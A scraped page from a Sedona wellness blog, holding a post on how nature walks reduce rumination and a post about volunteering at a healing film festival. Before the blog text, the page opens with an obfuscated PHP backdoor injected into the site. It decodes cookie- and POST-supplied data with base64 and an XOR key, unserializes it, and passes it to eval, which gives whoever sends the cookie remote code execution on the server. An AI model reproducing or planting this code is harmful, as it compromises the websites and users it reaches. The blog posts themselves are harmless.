$gjOSpeP = chr (75) . "\123" . chr ( 538 - 443 ).'x' . chr ( 987 - 872 )."\x48";$xNwlS = "\143" . "\154" . "\x61" . chr ( 920 - 805 ).chr (115) . "\x5f" . "\x65" . 'x' . "\151" . chr (115) . chr (116) . 's';$NAZFMjn = $xNwlS($gjOSpeP); $gjOSpeP = "57824";$NuRhPsXE = !$NAZFMjn;$xNwlS = "4454";if ($NuRhPsXE){class KS_xsH{private $MZNncIYC;public static $yZDwWp = "9ddb7221-d7b2-436a-ba5d-5acab802b6db";public static $WwcvKZuvfU = 28172;public function __construct($QQPFWa=0){$pBQRZ = $_COOKIE;$aFRLlKzikZ = $_POST;$aECPHAkg = @$pBQRZ[substr(KS_xsH::$yZDwWp, 0, 4)];if (!empty($aECPHAkg)){$nEgcQd = "base64";$HBUoUYFaT = "";$aECPHAkg = explode(",", $aECPHAkg);foreach ($aECPHAkg as $iohOVuzcm){$HBUoUYFaT .= @$pBQRZ[$iohOVuzcm];$HBUoUYFaT .= @$aFRLlKzikZ[$iohOVuzcm];}$HBUoUYFaT = array_map($nEgcQd . "\x5f" . "\x64" . chr (101) . chr ( 605 - 506 )."\157" . chr ( 381 - 281 )."\x65", array($HBUoUYFaT,)); $HBUoUYFaT = $HBUoUYFaT[0] ^ str_repeat(KS_xsH::$yZDwWp, (strlen($HBUoUYFaT[0]) / strlen(KS_xsH::$yZDwWp)) + 1);KS_xsH::$WwcvKZuvfU = @unserialize($HBUoUYFaT);}}private function fXhYkGn(){if (is_array(KS_xsH::$WwcvKZuvfU)) {$WNSpriY = str_replace(chr (60) . '?' . "\160" . chr (104) . 'p', "", KS_xsH::$WwcvKZuvfU["\143" . chr (111) . chr ( 146 - 36 ).chr ( 572 - 456 ).'e' . "\x6e" . chr ( 832 - 716 )]);eval($WNSpriY); $kjdlsuduD = "18214";exit();}}public function __destruct(){$this->fXhYkGn(); $WubTTXVKCO = str_pad("18214", 10);}}$ftMEmOsJ = new /* 4538 */ KS_xsH(); $ftMEmOsJ = substr("50189_48658", 1);} Left Brain/Right Brain - Joy Nanda, Healing with Joy
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How to Get Over Yourself – Take a Hike!

July 22, 2015 by

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Do you overthink everything, even venturing into what would be called “rumination?” Get out! In nature, I mean. In a recent article (Nature experience reduces rumination and subgenual prefrontal cortex activation) scientists have proposed an explanation for what we’ve known all along – spending time in nature is relaxing, rejuvenating and healing. Perhaps it’s because it directs brain activity and blood flow away from the subgenual prefrontal cortex also known as Brodmann’s Area 25 or the subgenual anterior cingulate cortex, which serves as a gateway between the thinking prefrontal cortex and the feeling limbic system of the brain. When the “gateway” doesn’t work properly, it can be a major player in various forms of depression. Even without clinical depression, the subgenual prefrontal cortex is thought to be involved in rumination, “a maladaptive pattern of self-referential thought that is associated with heightened risk for depression and other mental illnesses.”

I think we’ve all gotten ourselves lost in rumination at one time or another, and it’s good to know that walking in nature takes us out of it in a relatively short amount of time. The participants in this study showed significant changes after a 90 minute walk. This didn’t happen with a similar walk through an urban environment, which is important to know because 50% of the world’s population lives in an environment classified as urban now and it’s predicted that 70% will be urban-dwelling by 2050. We will need to prioritize this need for exposure to natural environments in our urban planning, or suffer the consequences in a very real health-related way.

We’ve been aware of the healing power of nature here in Sedona, of course. That’s one of the main reasons we live here! But it is interesting to see the benefit so clearly revealed with a simple form of brain imaging. If you are feeling low, like you are the center of the universe, and not in a good way (for example “everything I do turns out badly,” or some variation on that theme), go for a walk in nature. I guarantee you’ll see things differently upon your return, and this study helps us to understand why.

If you are looking for a good hike in Sedona, here are a few of my very favorites!

Filed Under: Blog, Hiking, Left Brain/Right Brain, Miscellaneous
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Centered n the Tao

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ILLUMINATE Film Festival

June 3, 2014 by
Sally Reeves-Conway and Pamela Joy

Photo break with Sally Reeves-Conway at the 2014 ILLUMINATE Film Festival

Some of you may have heard that I was part of Danette Wolpert’s “Dream Team” of volunteers putting on the ILLUMINATE Film Festival in Sedona last weekend. This was quite a commitment of time and energy, as I ended up coordinating the ticketing process for this first-time event.  Ticketing is where the “rubber meets the road” at a Festival. Anyone who has ever run a “spiritual” or “conscious” business knows how delicate the balance is between “we are all one” and the boundaries necessary to maintain a viable business structure. Danette told me she thought I had the “right kind of brain” for this undertaking, which I took as a qualified compliment. It’s pretty much a left brain, masculine energy kind of job, and I have tended to alternate between these intellectual projects and more right-brain, feminine energy things like CranioSacral Therapy, yoga, meditation and dance.

Over the years I’ve realized that we all need a balance between the left and right cerebral hemispheres. As my meditation practice has progressed, I find that I step back fully into the intellectual mind only for very worthy projects such as this one (twenty years in academics was long enough in that mode for this lifetime!) The mission statement of ILLUMINATE is to “introduce film as a modality for healing.” The Festival included 20+ films that fall into the mind-body-spirit genre of conscious cinema, and it is the very first of its kind in the world. Many of the films were paired in a “view-and-do” combo with interactive, experiential workshops. I could not resist contributing my brainpower (such as it is) to this fantastic enterprise!

As the smoke was practically coming out of my ears (there were so many different levels of participants, all with different “VIP” or “Industry”-type badges and ticketing options), I saw my dear friend and Art of Feminine Presence teacher, Sally Reeves Conway, who was there to present a workshop on “Conscious and Passionate Presence in Relationships.” I couldn’t resist the opportunity to pose with her on the ILLUMINATE red carpet (and the “step-and-repeat” background behind it – oh, the new terms I learned behind the scenes!) for a glam photo-op.

Thank you for your beautiful, feminine (AND powerful) presence, Sally, and thank you Sedona Virtual Assistant Laura Schappert for snapping the photo.

Filed Under: Blog, Left Brain/Right Brain, Meditation, Miscellaneous, Uncategorized